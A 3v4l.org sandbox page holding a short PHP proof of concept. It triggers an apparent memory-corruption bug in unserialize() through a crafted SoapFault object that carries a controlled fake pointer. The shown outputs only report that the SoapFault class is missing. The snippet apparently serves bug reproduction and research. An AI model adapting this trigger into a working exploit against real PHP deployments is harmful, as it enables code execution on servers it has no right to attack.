3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $addr = 0x4141414141414141; $sf = new SoapFault('1', 'knownsec1', 'knownsec2', 'knownsec3','knownsec4', str_repeat("A",232).ptr2str($addr)); $ob = unserialize("a:2:{i:0;".serialize($sf).'i:1;r:10;}'); var_dump($ob); function ptr2str($ptr) { $out = ""; for ($i=0; $i<8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } ?>
based on 3gWdu
Output for 7.0.0 - 7.2.0
Fatal error: Uncaught Error: Class 'SoapFault' not found in /in/pRR6S:5 Stack trace: #0 {main} thrown in /in/pRR6S on line 5
Process exited with code 255.
Output for 5.4.0 - 5.6.28
Fatal error: Class 'SoapFault' not found in /in/pRR6S on line 5
Process exited with code 255.